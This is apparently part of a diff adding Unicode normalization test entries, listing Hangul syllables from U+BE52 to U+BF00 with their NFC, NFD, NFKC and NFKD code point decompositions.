+{ source: [0xBE52], NFC: [0xBE52], NFD: [0x1107, 0x1175, 0x11B5], NFKC: [0xBE52], NFKD: [0x1107, 0x1175, 0x11B5] },
+{ source: [0xBE53], NFC: [0xBE53], NFD: [0x1107, 0x1175, 0x11B6], NFKC: [0xBE53], NFKD: [0x1107, 0x1175, 0x11B6] },
+{ source: [0xBE54], NFC: [0xBE54], NFD: [0x1107, 0x1175, 0x11B7], NFKC: [0xBE54], NFKD: [0x1107, 0x1175, 0x11B7] },
+{ source: [0xBE55], NFC: [0xBE55], NFD: [0x1107, 0x1175, 0x11B8], NFKC: [0xBE55], NFKD: [0x1107, 0x1175, 0x11B8] },
+{ source: [0xBE56], NFC: [0xBE56], NFD: [0x1107, 0x1175, 0x11B9], NFKC: [0xBE56], NFKD: [0x1107, 0x1175, 0x11B9] },
+{ source: [0xBE57], NFC: [0xBE57], NFD: [0x1107, 0x1175, 0x11BA], NFKC: [0xBE57], NFKD: [0x1107, 0x1175, 0x11BA] },
+{ source: [0xBE58], NFC: [0xBE58], NFD: [0x1107, 0x1175, 0x11BB], NFKC: [0xBE58], NFKD: [0x1107, 0x1175, 0x11BB] },
+{ source: [0xBE59], NFC: [0xBE59], NFD: [0x1107, 0x1175, 0x11BC], NFKC: [0xBE59], NFKD: [0x1107, 0x1175, 0x11BC] },
+{ source: [0xBE5A], NFC: [0xBE5A], NFD: [0x1107, 0x1175, 0x11BD], NFKC: [0xBE5A], NFKD: [0x1107, 0x1175, 0x11BD] },
+{ source: [0xBE5B], NFC: [0xBE5B], NFD: [0x1107, 0x1175, 0x11BE], NFKC: [0xBE5B], NFKD: [0x1107, 0x1175, 0x11BE] },
+{ source: [0xBE5C], NFC: [0xBE5C], NFD: [0x1107, 0x1175, 0x11BF], NFKC: [0xBE5C], NFKD: [0x1107, 0x1175, 0x11BF] },
+{ source: [0xBE5D], NFC: [0xBE5D], NFD: [0x1107, 0x1175, 0x11C0], NFKC: [0xBE5D], NFKD: [0x1107, 0x1175, 0x11C0] },
+{ source: [0xBE5E], NFC: [0xBE5E], NFD: [0x1107, 0x1175, 0x11C1], NFKC: [0xBE5E], NFKD: [0x1107, 0x1175, 0x11C1] },
+{ source: [0xBE5F], NFC: [0xBE5F], NFD: [0x1107, 0x1175, 0x11C2], NFKC: [0xBE5F], NFKD: [0x1107, 0x1175, 0x11C2] },
+{ source: [0xBE60], NFC: [0xBE60], NFD: [0x1108, 0x1161], NFKC: [0xBE60], NFKD: [0x1108, 0x1161] },
+{ source: [0xBE61], NFC: [0xBE61], NFD: [0x1108, 0x1161, 0x11A8], NFKC: [0xBE61], NFKD: [0x1108, 0x1161, 0x11A8] },
+{ source: [0xBE62], NFC: [0xBE62], NFD: [0x1108, 0x1161, 0x11A9], NFKC: [0xBE62], NFKD: [0x1108, 0x1161, 0x11A9] },
+{ source: [0xBE63], NFC: [0xBE63], NFD: [0x1108, 0x1161, 0x11AA], NFKC: [0xBE63], NFKD: [0x1108, 0x1161, 0x11AA] },
+{ source: [0xBE64], NFC: [0xBE64], NFD: [0x1108, 0x1161, 0x11AB], NFKC: [0xBE64], NFKD: [0x1108, 0x1161, 0x11AB] },
+{ source: [0xBE65], NFC: [0xBE65], NFD: [0x1108, 0x1161, 0x11AC], NFKC: [0xBE65], NFKD: [0x1108, 0x1161, 0x11AC] },
+{ source: [0xBE66], NFC: [0xBE66], NFD: [0x1108, 0x1161, 0x11AD], NFKC: [0xBE66], NFKD: [0x1108, 0x1161, 0x11AD] },
+{ source: [0xBE67], NFC: [0xBE67], NFD: [0x1108, 0x1161, 0x11AE], NFKC: [0xBE67], NFKD: [0x1108, 0x1161, 0x11AE] },
+{ source: [0xBE68], NFC: [0xBE68], NFD: [0x1108, 0x1161, 0x11AF], NFKC: [0xBE68], NFKD: [0x1108, 0x1161, 0x11AF] },
+{ source: [0xBE69], NFC: [0xBE69], NFD: [0x1108, 0x1161, 0x11B0], NFKC: [0xBE69], NFKD: [0x1108, 0x1161, 0x11B0] },
+{ source: [0xBE6A], NFC: [0xBE6A], NFD: [0x1108, 0x1161, 0x11B1], NFKC: [0xBE6A], NFKD: [0x1108, 0x1161, 0x11B1] },
+{ source: [0xBE6B], NFC: [0xBE6B], NFD: [0x1108, 0x1161, 0x11B2], NFKC: [0xBE6B], NFKD: [0x1108, 0x1161, 0x11B2] },
+{ source: [0xBE6C], NFC: [0xBE6C], NFD: [0x1108, 0x1161, 0x11B3], NFKC: [0xBE6C], NFKD: [0x1108, 0x1161, 0x11B3] },
+{ source: [0xBE6D], NFC: [0xBE6D], NFD: [0x1108, 0x1161, 0x11B4], NFKC: [0xBE6D], NFKD: [0x1108, 0x1161, 0x11B4] },
+{ source: [0xBE6E], NFC: [0xBE6E], NFD: [0x1108, 0x1161, 0x11B5], NFKC: [0xBE6E], NFKD: [0x1108, 0x1161, 0x11B5] },
+{ source: [0xBE6F], NFC: [0xBE6F], NFD: [0x1108, 0x1161, 0x11B6], NFKC: [0xBE6F], NFKD: [0x1108, 0x1161, 0x11B6] },
+{ source: [0xBE70], NFC: [0xBE70], NFD: [0x1108, 0x1161, 0x11B7], NFKC: [0xBE70], NFKD: [0x1108, 0x1161, 0x11B7] },
+{ source: [0xBE71], NFC: [0xBE71], NFD: [0x1108, 0x1161, 0x11B8], NFKC: [0xBE71], NFKD: [0x1108, 0x1161, 0x11B8] },
+{ source: [0xBE72], NFC: [0xBE72], NFD: [0x1108, 0x1161, 0x11B9], NFKC: [0xBE72], NFKD: [0x1108, 0x1161, 0x11B9] },
+{ source: [0xBE73], NFC: [0xBE73], NFD: [0x1108, 0x1161, 0x11BA], NFKC: [0xBE73], NFKD: [0x1108, 0x1161, 0x11BA] },
+{ source: [0xBE74], NFC: [0xBE74], NFD: [0x1108, 0x1161, 0x11BB], NFKC: [0xBE74], NFKD: [0x1108, 0x1161, 0x11BB] },
+{ source: [0xBE75], NFC: [0xBE75], NFD: [0x1108, 0x1161, 0x11BC], NFKC: [0xBE75], NFKD: [0x1108, 0x1161, 0x11BC] },
+{ source: [0xBE76], NFC: [0xBE76], NFD: [0x1108, 0x1161, 0x11BD], NFKC: [0xBE76], NFKD: [0x1108, 0x1161, 0x11BD] },
+{ source: [0xBE77], NFC: [0xBE77], NFD: [0x1108, 0x1161, 0x11BE], NFKC: [0xBE77], NFKD: [0x1108, 0x1161, 0x11BE] },
+{ source: [0xBE78], NFC: [0xBE78], NFD: [0x1108, 0x1161, 0x11BF], NFKC: [0xBE78], NFKD: [0x1108, 0x1161, 0x11BF] },
+{ source: [0xBE79], NFC: [0xBE79], NFD: [0x1108, 0x1161, 0x11C0], NFKC: [0xBE79], NFKD: [0x1108, 0x1161, 0x11C0] },
+{ source: [0xBE7A], NFC: [0xBE7A], NFD: [0x1108, 0x1161, 0x11C1], NFKC: [0xBE7A], NFKD: [0x1108, 0x1161, 0x11C1] },
+{ source: [0xBE7B], NFC: [0xBE7B], NFD: [0x1108, 0x1161, 0x11C2], NFKC: [0xBE7B], NFKD: [0x1108, 0x1161, 0x11C2] },
+{ source: [0xBE7C], NFC: [0xBE7C], NFD: [0x1108, 0x1162], NFKC: [0xBE7C], NFKD: [0x1108, 0x1162] },
+{ source: [0xBE7D], NFC: [0xBE7D], NFD: [0x1108, 0x1162, 0x11A8], NFKC: [0xBE7D], NFKD: [0x1108, 0x1162, 0x11A8] },
+{ source: [0xBE7E], NFC: [0xBE7E], NFD: [0x1108, 0x1162, 0x11A9], NFKC: [0xBE7E], NFKD: [0x1108, 0x1162, 0x11A9] },
+{ source: [0xBE7F], NFC: [0xBE7F], NFD: [0x1108, 0x1162, 0x11AA], NFKC: [0xBE7F], NFKD: [0x1108, 0x1162, 0x11AA] },
+{ source: [0xBE80], NFC: [0xBE80], NFD: [0x1108, 0x1162, 0x11AB], NFKC: [0xBE80], NFKD: [0x1108, 0x1162, 0x11AB] },
+{ source: [0xBE81], NFC: [0xBE81], NFD: [0x1108, 0x1162, 0x11AC], NFKC: [0xBE81], NFKD: [0x1108, 0x1162, 0x11AC] },
+{ source: [0xBE82], NFC: [0xBE82], NFD: [0x1108, 0x1162, 0x11AD], NFKC: [0xBE82], NFKD: [0x1108, 0x1162, 0x11AD] },
+{ source: [0xBE83], NFC: [0xBE83], NFD: [0x1108, 0x1162, 0x11AE], NFKC: [0xBE83], NFKD: [0x1108, 0x1162, 0x11AE] },
+{ source: [0xBE84], NFC: [0xBE84], NFD: [0x1108, 0x1162, 0x11AF], NFKC: [0xBE84], NFKD: [0x1108, 0x1162, 0x11AF] },
+{ source: [0xBE85], NFC: [0xBE85], NFD: [0x1108, 0x1162, 0x11B0], NFKC: [0xBE85], NFKD: [0x1108, 0x1162, 0x11B0] },
+{ source: [0xBE86], NFC: [0xBE86], NFD: [0x1108, 0x1162, 0x11B1], NFKC: [0xBE86], NFKD: [0x1108, 0x1162, 0x11B1] },
+{ source: [0xBE87], NFC: [0xBE87], NFD: [0x1108, 0x1162, 0x11B2], NFKC: [0xBE87], NFKD: [0x1108, 0x1162, 0x11B2] },
+{ source: [0xBE88], NFC: [0xBE88], NFD: [0x1108, 0x1162, 0x11B3], NFKC: [0xBE88], NFKD: [0x1108, 0x1162, 0x11B3] },
+{ source: [0xBE89], NFC: [0xBE89], NFD: [0x1108, 0x1162, 0x11B4], NFKC: [0xBE89], NFKD: [0x1108, 0x1162, 0x11B4] },
+{ source: [0xBE8A], NFC: [0xBE8A], NFD: [0x1108, 0x1162, 0x11B5], NFKC: [0xBE8A], NFKD: [0x1108, 0x1162, 0x11B5] },
+{ source: [0xBE8B], NFC: [0xBE8B], NFD: [0x1108, 0x1162, 0x11B6], NFKC: [0xBE8B], NFKD: [0x1108, 0x1162, 0x11B6] },
+{ source: [0xBE8C], NFC: [0xBE8C], NFD: [0x1108, 0x1162, 0x11B7], NFKC: [0xBE8C], NFKD: [0x1108, 0x1162, 0x11B7] },
+{ source: [0xBE8D], NFC: [0xBE8D], NFD: [0x1108, 0x1162, 0x11B8], NFKC: [0xBE8D], NFKD: [0x1108, 0x1162, 0x11B8] },
+{ source: [0xBE8E], NFC: [0xBE8E], NFD: [0x1108, 0x1162, 0x11B9], NFKC: [0xBE8E], NFKD: [0x1108, 0x1162, 0x11B9] },
+{ source: [0xBE8F], NFC: [0xBE8F], NFD: [0x1108, 0x1162, 0x11BA], NFKC: [0xBE8F], NFKD: [0x1108, 0x1162, 0x11BA] },
+{ source: [0xBE90], NFC: [0xBE90], NFD: [0x1108, 0x1162, 0x11BB], NFKC: [0xBE90], NFKD: [0x1108, 0x1162, 0x11BB] },
+{ source: [0xBE91], NFC: [0xBE91], NFD: [0x1108, 0x1162, 0x11BC], NFKC: [0xBE91], NFKD: [0x1108, 0x1162, 0x11BC] },
+{ source: [0xBE92], NFC: [0xBE92], NFD: [0x1108, 0x1162, 0x11BD], NFKC: [0xBE92], NFKD: [0x1108, 0x1162, 0x11BD] },
+{ source: [0xBE93], NFC: [0xBE93], NFD: [0x1108, 0x1162, 0x11BE], NFKC: [0xBE93], NFKD: [0x1108, 0x1162, 0x11BE] },
+{ source: [0xBE94], NFC: [0xBE94], NFD: [0x1108, 0x1162, 0x11BF], NFKC: [0xBE94], NFKD: [0x1108, 0x1162, 0x11BF] },
+{ source: [0xBE95], NFC: [0xBE95], NFD: [0x1108, 0x1162, 0x11C0], NFKC: [0xBE95], NFKD: [0x1108, 0x1162, 0x11C0] },
+{ source: [0xBE96], NFC: [0xBE96], NFD: [0x1108, 0x1162, 0x11C1], NFKC: [0xBE96], NFKD: [0x1108, 0x1162, 0x11C1] },
+{ source: [0xBE97], NFC: [0xBE97], NFD: [0x1108, 0x1162, 0x11C2], NFKC: [0xBE97], NFKD: [0x1108, 0x1162, 0x11C2] },
+{ source: [0xBE98], NFC: [0xBE98], NFD: [0x1108, 0x1163], NFKC: [0xBE98], NFKD: [0x1108, 0x1163] },
+{ source: [0xBE99], NFC: [0xBE99], NFD: [0x1108, 0x1163, 0x11A8], NFKC: [0xBE99], NFKD: [0x1108, 0x1163, 0x11A8] },
+{ source: [0xBE9A], NFC: [0xBE9A], NFD: [0x1108, 0x1163, 0x11A9], NFKC: [0xBE9A], NFKD: [0x1108, 0x1163, 0x11A9] },
+{ source: [0xBE9B], NFC: [0xBE9B], NFD: [0x1108, 0x1163, 0x11AA], NFKC: [0xBE9B], NFKD: [0x1108, 0x1163, 0x11AA] },
+{ source: [0xBE9C], NFC: [0xBE9C], NFD: [0x1108, 0x1163, 0x11AB], NFKC: [0xBE9C], NFKD: [0x1108, 0x1163, 0x11AB] },
+{ source: [0xBE9D], NFC: [0xBE9D], NFD: [0x1108, 0x1163, 0x11AC], NFKC: [0xBE9D], NFKD: [0x1108, 0x1163, 0x11AC] },
+{ source: [0xBE9E], NFC: [0xBE9E], NFD: [0x1108, 0x1163, 0x11AD], NFKC: [0xBE9E], NFKD: [0x1108, 0x1163, 0x11AD] },
+{ source: [0xBE9F], NFC: [0xBE9F], NFD: [0x1108, 0x1163, 0x11AE], NFKC: [0xBE9F], NFKD: [0x1108, 0x1163, 0x11AE] },
+{ source: [0xBEA0], NFC: [0xBEA0], NFD: [0x1108, 0x1163, 0x11AF], NFKC: [0xBEA0], NFKD: [0x1108, 0x1163, 0x11AF] },
+{ source: [0xBEA1], NFC: [0xBEA1], NFD: [0x1108, 0x1163, 0x11B0], NFKC: [0xBEA1], NFKD: [0x1108, 0x1163, 0x11B0] },
+{ source: [0xBEA2], NFC: [0xBEA2], NFD: [0x1108, 0x1163, 0x11B1], NFKC: [0xBEA2], NFKD: [0x1108, 0x1163, 0x11B1] },
+{ source: [0xBEA3], NFC: [0xBEA3], NFD: [0x1108, 0x1163, 0x11B2], NFKC: [0xBEA3], NFKD: [0x1108, 0x1163, 0x11B2] },
+{ source: [0xBEA4], NFC: [0xBEA4], NFD: [0x1108, 0x1163, 0x11B3], NFKC: [0xBEA4], NFKD: [0x1108, 0x1163, 0x11B3] },
+{ source: [0xBEA5], NFC: [0xBEA5], NFD: [0x1108, 0x1163, 0x11B4], NFKC: [0xBEA5], NFKD: [0x1108, 0x1163, 0x11B4] },
+{ source: [0xBEA6], NFC: [0xBEA6], NFD: [0x1108, 0x1163, 0x11B5], NFKC: [0xBEA6], NFKD: [0x1108, 0x1163, 0x11B5] },
+{ source: [0xBEA7], NFC: [0xBEA7], NFD: [0x1108, 0x1163, 0x11B6], NFKC: [0xBEA7], NFKD: [0x1108, 0x1163, 0x11B6] },
+{ source: [0xBEA8], NFC: [0xBEA8], NFD: [0x1108, 0x1163, 0x11B7], NFKC: [0xBEA8], NFKD: [0x1108, 0x1163, 0x11B7] },
+{ source: [0xBEA9], NFC: [0xBEA9], NFD: [0x1108, 0x1163, 0x11B8], NFKC: [0xBEA9], NFKD: [0x1108, 0x1163, 0x11B8] },
+{ source: [0xBEAA], NFC: [0xBEAA], NFD: [0x1108, 0x1163, 0x11B9], NFKC: [0xBEAA], NFKD: [0x1108, 0x1163, 0x11B9] },
+{ source: [0xBEAB], NFC: [0xBEAB], NFD: [0x1108, 0x1163, 0x11BA], NFKC: [0xBEAB], NFKD: [0x1108, 0x1163, 0x11BA] },
+{ source: [0xBEAC], NFC: [0xBEAC], NFD: [0x1108, 0x1163, 0x11BB], NFKC: [0xBEAC], NFKD: [0x1108, 0x1163, 0x11BB] },
+{ source: [0xBEAD], NFC: [0xBEAD], NFD: [0x1108, 0x1163, 0x11BC], NFKC: [0xBEAD], NFKD: [0x1108, 0x1163, 0x11BC] },
+{ source: [0xBEAE], NFC: [0xBEAE], NFD: [0x1108, 0x1163, 0x11BD], NFKC: [0xBEAE], NFKD: [0x1108, 0x1163, 0x11BD] },
+{ source: [0xBEAF], NFC: [0xBEAF], NFD: [0x1108, 0x1163, 0x11BE], NFKC: [0xBEAF], NFKD: [0x1108, 0x1163, 0x11BE] },
+{ source: [0xBEB0], NFC: [0xBEB0], NFD: [0x1108, 0x1163, 0x11BF], NFKC: [0xBEB0], NFKD: [0x1108, 0x1163, 0x11BF] },
+{ source: [0xBEB1], NFC: [0xBEB1], NFD: [0x1108, 0x1163, 0x11C0], NFKC: [0xBEB1], NFKD: [0x1108, 0x1163, 0x11C0] },
+{ source: [0xBEB2], NFC: [0xBEB2], NFD: [0x1108, 0x1163, 0x11C1], NFKC: [0xBEB2], NFKD: [0x1108, 0x1163, 0x11C1] },
+{ source: [0xBEB3], NFC: [0xBEB3], NFD: [0x1108, 0x1163, 0x11C2], NFKC: [0xBEB3], NFKD: [0x1108, 0x1163, 0x11C2] },
+{ source: [0xBEB4], NFC: [0xBEB4], NFD: [0x1108, 0x1164], NFKC: [0xBEB4], NFKD: [0x1108, 0x1164] },
+{ source: [0xBEB5], NFC: [0xBEB5], NFD: [0x1108, 0x1164, 0x11A8], NFKC: [0xBEB5], NFKD: [0x1108, 0x1164, 0x11A8] },
+{ source: [0xBEB6], NFC: [0xBEB6], NFD: [0x1108, 0x1164, 0x11A9], NFKC: [0xBEB6], NFKD: [0x1108, 0x1164, 0x11A9] },
+{ source: [0xBEB7], NFC: [0xBEB7], NFD: [0x1108, 0x1164, 0x11AA], NFKC: [0xBEB7], NFKD: [0x1108, 0x1164, 0x11AA] },
+{ source: [0xBEB8], NFC: [0xBEB8], NFD: [0x1108, 0x1164, 0x11AB], NFKC: [0xBEB8], NFKD: [0x1108, 0x1164, 0x11AB] },
+{ source: [0xBEB9], NFC: [0xBEB9], NFD: [0x1108, 0x1164, 0x11AC], NFKC: [0xBEB9], NFKD: [0x1108, 0x1164, 0x11AC] },
+{ source: [0xBEBA], NFC: [0xBEBA], NFD: [0x1108, 0x1164, 0x11AD], NFKC: [0xBEBA], NFKD: [0x1108, 0x1164, 0x11AD] },
+{ source: [0xBEBB], NFC: [0xBEBB], NFD: [0x1108, 0x1164, 0x11AE], NFKC: [0xBEBB], NFKD: [0x1108, 0x1164, 0x11AE] },
+{ source: [0xBEBC], NFC: [0xBEBC], NFD: [0x1108, 0x1164, 0x11AF], NFKC: [0xBEBC], NFKD: [0x1108, 0x1164, 0x11AF] },
+{ source: [0xBEBD], NFC: [0xBEBD], NFD: [0x1108, 0x1164, 0x11B0], NFKC: [0xBEBD], NFKD: [0x1108, 0x1164, 0x11B0] },
+{ source: [0xBEBE], NFC: [0xBEBE], NFD: [0x1108, 0x1164, 0x11B1], NFKC: [0xBEBE], NFKD: [0x1108, 0x1164, 0x11B1] },
+{ source: [0xBEBF], NFC: [0xBEBF], NFD: [0x1108, 0x1164, 0x11B2], NFKC: [0xBEBF], NFKD: [0x1108, 0x1164, 0x11B2] },
+{ source: [0xBEC0], NFC: [0xBEC0], NFD: [0x1108, 0x1164, 0x11B3], NFKC: [0xBEC0], NFKD: [0x1108, 0x1164, 0x11B3] },
+{ source: [0xBEC1], NFC: [0xBEC1], NFD: [0x1108, 0x1164, 0x11B4], NFKC: [0xBEC1], NFKD: [0x1108, 0x1164, 0x11B4] },
+{ source: [0xBEC2], NFC: [0xBEC2], NFD: [0x1108, 0x1164, 0x11B5], NFKC: [0xBEC2], NFKD: [0x1108, 0x1164, 0x11B5] },
+{ source: [0xBEC3], NFC: [0xBEC3], NFD: [0x1108, 0x1164, 0x11B6], NFKC: [0xBEC3], NFKD: [0x1108, 0x1164, 0x11B6] },
+{ source: [0xBEC4], NFC: [0xBEC4], NFD: [0x1108, 0x1164, 0x11B7], NFKC: [0xBEC4], NFKD: [0x1108, 0x1164, 0x11B7] },
+{ source: [0xBEC5], NFC: [0xBEC5], NFD: [0x1108, 0x1164, 0x11B8], NFKC: [0xBEC5], NFKD: [0x1108, 0x1164, 0x11B8] },
+{ source: [0xBEC6], NFC: [0xBEC6], NFD: [0x1108, 0x1164, 0x11B9], NFKC: [0xBEC6], NFKD: [0x1108, 0x1164, 0x11B9] },
+{ source: [0xBEC7], NFC: [0xBEC7], NFD: [0x1108, 0x1164, 0x11BA], NFKC: [0xBEC7], NFKD: [0x1108, 0x1164, 0x11BA] },
+{ source: [0xBEC8], NFC: [0xBEC8], NFD: [0x1108, 0x1164, 0x11BB], NFKC: [0xBEC8], NFKD: [0x1108, 0x1164, 0x11BB] },
+{ source: [0xBEC9], NFC: [0xBEC9], NFD: [0x1108, 0x1164, 0x11BC], NFKC: [0xBEC9], NFKD: [0x1108, 0x1164, 0x11BC] },
+{ source: [0xBECA], NFC: [0xBECA], NFD: [0x1108, 0x1164, 0x11BD], NFKC: [0xBECA], NFKD: [0x1108, 0x1164, 0x11BD] },
+{ source: [0xBECB], NFC: [0xBECB], NFD: [0x1108, 0x1164, 0x11BE], NFKC: [0xBECB], NFKD: [0x1108, 0x1164, 0x11BE] },
+{ source: [0xBECC], NFC: [0xBECC], NFD: [0x1108, 0x1164, 0x11BF], NFKC: [0xBECC], NFKD: [0x1108, 0x1164, 0x11BF] },
+{ source: [0xBECD], NFC: [0xBECD], NFD: [0x1108, 0x1164, 0x11C0], NFKC: [0xBECD], NFKD: [0x1108, 0x1164, 0x11C0] },
+{ source: [0xBECE], NFC: [0xBECE], NFD: [0x1108, 0x1164, 0x11C1], NFKC: [0xBECE], NFKD: [0x1108, 0x1164, 0x11C1] },
+{ source: [0xBECF], NFC: [0xBECF], NFD: [0x1108, 0x1164, 0x11C2], NFKC: [0xBECF], NFKD: [0x1108, 0x1164, 0x11C2] },
+{ source: [0xBED0], NFC: [0xBED0], NFD: [0x1108, 0x1165], NFKC: [0xBED0], NFKD: [0x1108, 0x1165] },
+{ source: [0xBED1], NFC: [0xBED1], NFD: [0x1108, 0x1165, 0x11A8], NFKC: [0xBED1], NFKD: [0x1108, 0x1165, 0x11A8] },
+{ source: [0xBED2], NFC: [0xBED2], NFD: [0x1108, 0x1165, 0x11A9], NFKC: [0xBED2], NFKD: [0x1108, 0x1165, 0x11A9] },
+{ source: [0xBED3], NFC: [0xBED3], NFD: [0x1108, 0x1165, 0x11AA], NFKC: [0xBED3], NFKD: [0x1108, 0x1165, 0x11AA] },
+{ source: [0xBED4], NFC: [0xBED4], NFD: [0x1108, 0x1165, 0x11AB], NFKC: [0xBED4], NFKD: [0x1108, 0x1165, 0x11AB] },
+{ source: [0xBED5], NFC: [0xBED5], NFD: [0x1108, 0x1165, 0x11AC], NFKC: [0xBED5], NFKD: [0x1108, 0x1165, 0x11AC] },
+{ source: [0xBED6], NFC: [0xBED6], NFD: [0x1108, 0x1165, 0x11AD], NFKC: [0xBED6], NFKD: [0x1108, 0x1165, 0x11AD] },
+{ source: [0xBED7], NFC: [0xBED7], NFD: [0x1108, 0x1165, 0x11AE], NFKC: [0xBED7], NFKD: [0x1108, 0x1165, 0x11AE] },
+{ source: [0xBED8], NFC: [0xBED8], NFD: [0x1108, 0x1165, 0x11AF], NFKC: [0xBED8], NFKD: [0x1108, 0x1165, 0x11AF] },
+{ source: [0xBED9], NFC: [0xBED9], NFD: [0x1108, 0x1165, 0x11B0], NFKC: [0xBED9], NFKD: [0x1108, 0x1165, 0x11B0] },
+{ source: [0xBEDA], NFC: [0xBEDA], NFD: [0x1108, 0x1165, 0x11B1], NFKC: [0xBEDA], NFKD: [0x1108, 0x1165, 0x11B1] },
+{ source: [0xBEDB], NFC: [0xBEDB], NFD: [0x1108, 0x1165, 0x11B2], NFKC: [0xBEDB], NFKD: [0x1108, 0x1165, 0x11B2] },
+{ source: [0xBEDC], NFC: [0xBEDC], NFD: [0x1108, 0x1165, 0x11B3], NFKC: [0xBEDC], NFKD: [0x1108, 0x1165, 0x11B3] },
+{ source: [0xBEDD], NFC: [0xBEDD], NFD: [0x1108, 0x1165, 0x11B4], NFKC: [0xBEDD], NFKD: [0x1108, 0x1165, 0x11B4] },
+{ source: [0xBEDE], NFC: [0xBEDE], NFD: [0x1108, 0x1165, 0x11B5], NFKC: [0xBEDE], NFKD: [0x1108, 0x1165, 0x11B5] },
+{ source: [0xBEDF], NFC: [0xBEDF], NFD: [0x1108, 0x1165, 0x11B6], NFKC: [0xBEDF], NFKD: [0x1108, 0x1165, 0x11B6] },
+{ source: [0xBEE0], NFC: [0xBEE0], NFD: [0x1108, 0x1165, 0x11B7], NFKC: [0xBEE0], NFKD: [0x1108, 0x1165, 0x11B7] },
+{ source: [0xBEE1], NFC: [0xBEE1], NFD: [0x1108, 0x1165, 0x11B8], NFKC: [0xBEE1], NFKD: [0x1108, 0x1165, 0x11B8] },
+{ source: [0xBEE2], NFC: [0xBEE2], NFD: [0x1108, 0x1165, 0x11B9], NFKC: [0xBEE2], NFKD: [0x1108, 0x1165, 0x11B9] },
+{ source: [0xBEE3], NFC: [0xBEE3], NFD: [0x1108, 0x1165, 0x11BA], NFKC: [0xBEE3], NFKD: [0x1108, 0x1165, 0x11BA] },
+{ source: [0xBEE4], NFC: [0xBEE4], NFD: [0x1108, 0x1165, 0x11BB], NFKC: [0xBEE4], NFKD: [0x1108, 0x1165, 0x11BB] },
+{ source: [0xBEE5], NFC: [0xBEE5], NFD: [0x1108, 0x1165, 0x11BC], NFKC: [0xBEE5], NFKD: [0x1108, 0x1165, 0x11BC] },
+{ source: [0xBEE6], NFC: [0xBEE6], NFD: [0x1108, 0x1165, 0x11BD], NFKC: [0xBEE6], NFKD: [0x1108, 0x1165, 0x11BD] },
+{ source: [0xBEE7], NFC: [0xBEE7], NFD: [0x1108, 0x1165, 0x11BE], NFKC: [0xBEE7], NFKD: [0x1108, 0x1165, 0x11BE] },
+{ source: [0xBEE8], NFC: [0xBEE8], NFD: [0x1108, 0x1165, 0x11BF], NFKC: [0xBEE8], NFKD: [0x1108, 0x1165, 0x11BF] },
+{ source: [0xBEE9], NFC: [0xBEE9], NFD: [0x1108, 0x1165, 0x11C0], NFKC: [0xBEE9], NFKD: [0x1108, 0x1165, 0x11C0] },
+{ source: [0xBEEA], NFC: [0xBEEA], NFD: [0x1108, 0x1165, 0x11C1], NFKC: [0xBEEA], NFKD: [0x1108, 0x1165, 0x11C1] },
+{ source: [0xBEEB], NFC: [0xBEEB], NFD: [0x1108, 0x1165, 0x11C2], NFKC: [0xBEEB], NFKD: [0x1108, 0x1165, 0x11C2] },
+{ source: [0xBEEC], NFC: [0xBEEC], NFD: [0x1108, 0x1166], NFKC: [0xBEEC], NFKD: [0x1108, 0x1166] },
+{ source: [0xBEED], NFC: [0xBEED], NFD: [0x1108, 0x1166, 0x11A8], NFKC: [0xBEED], NFKD: [0x1108, 0x1166, 0x11A8] },
+{ source: [0xBEEE], NFC: [0xBEEE], NFD: [0x1108, 0x1166, 0x11A9], NFKC: [0xBEEE], NFKD: [0x1108, 0x1166, 0x11A9] },
+{ source: [0xBEEF], NFC: [0xBEEF], NFD: [0x1108, 0x1166, 0x11AA], NFKC: [0xBEEF], NFKD: [0x1108, 0x1166, 0x11AA] },
+{ source: [0xBEF0], NFC: [0xBEF0], NFD: [0x1108, 0x1166, 0x11AB], NFKC: [0xBEF0], NFKD: [0x1108, 0x1166, 0x11AB] },
+{ source: [0xBEF1], NFC: [0xBEF1], NFD: [0x1108, 0x1166, 0x11AC], NFKC: [0xBEF1], NFKD: [0x1108, 0x1166, 0x11AC] },
+{ source: [0xBEF2], NFC: [0xBEF2], NFD: [0x1108, 0x1166, 0x11AD], NFKC: [0xBEF2], NFKD: [0x1108, 0x1166, 0x11AD] },
+{ source: [0xBEF3], NFC: [0xBEF3], NFD: [0x1108, 0x1166, 0x11AE], NFKC: [0xBEF3], NFKD: [0x1108, 0x1166, 0x11AE] },
+{ source: [0xBEF4], NFC: [0xBEF4], NFD: [0x1108, 0x1166, 0x11AF], NFKC: [0xBEF4], NFKD: [0x1108, 0x1166, 0x11AF] },
+{ source: [0xBEF5], NFC: [0xBEF5], NFD: [0x1108, 0x1166, 0x11B0], NFKC: [0xBEF5], NFKD: [0x1108, 0x1166, 0x11B0] },
+{ source: [0xBEF6], NFC: [0xBEF6], NFD: [0x1108, 0x1166, 0x11B1], NFKC: [0xBEF6], NFKD: [0x1108, 0x1166, 0x11B1] },
+{ source: [0xBEF7], NFC: [0xBEF7], NFD: [0x1108, 0x1166, 0x11B2], NFKC: [0xBEF7], NFKD: [0x1108, 0x1166, 0x11B2] },
+{ source: [0xBEF8], NFC: [0xBEF8], NFD: [0x1108, 0x1166, 0x11B3], NFKC: [0xBEF8], NFKD: [0x1108, 0x1166, 0x11B3] },
+{ source: [0xBEF9], NFC: [0xBEF9], NFD: [0x1108, 0x1166, 0x11B4], NFKC: [0xBEF9], NFKD: [0x1108, 0x1166, 0x11B4] },
+{ source: [0xBEFA], NFC: [0xBEFA], NFD: [0x1108, 0x1166, 0x11B5], NFKC: [0xBEFA], NFKD: [0x1108, 0x1166, 0x11B5] },
+{ source: [0xBEFB], NFC: [0xBEFB], NFD: [0x1108, 0x1166, 0x11B6], NFKC: [0xBEFB], NFKD: [0x1108, 0x1166, 0x11B6] },
+{ source: [0xBEFC], NFC: [0xBEFC], NFD: [0x1108, 0x1166, 0x11B7], NFKC: [0xBEFC], NFKD: [0x1108, 0x1166, 0x11B7] },
+{ source: [0xBEFD], NFC: [0xBEFD], NFD: [0x1108, 0x1166, 0x11B8], NFKC: [0xBEFD], NFKD: [0x1108, 0x1166, 0x11B8] },
+{ source: [0xBEFE], NFC: [0xBEFE], NFD: [0x1108, 0x1166, 0x11B9], NFKC: [0xBEFE], NFKD: [0x1108, 0x1166, 0x11B9] },
+{ source: [0xBEFF], NFC: [0xBEFF], NFD: [0x1108, 0x1166, 0x11BA], NFKC: [0xBEFF], NFKD: [0x1108, 0x1166, 0x11BA] },
+{ source: [0xBF00], NFC: [0xBF00], NFD: [0x1108, 0x1166, 0x11BB], NFKC: [0xBF00], NFKD: [0x1108, 0x1166, 0x11BB] },
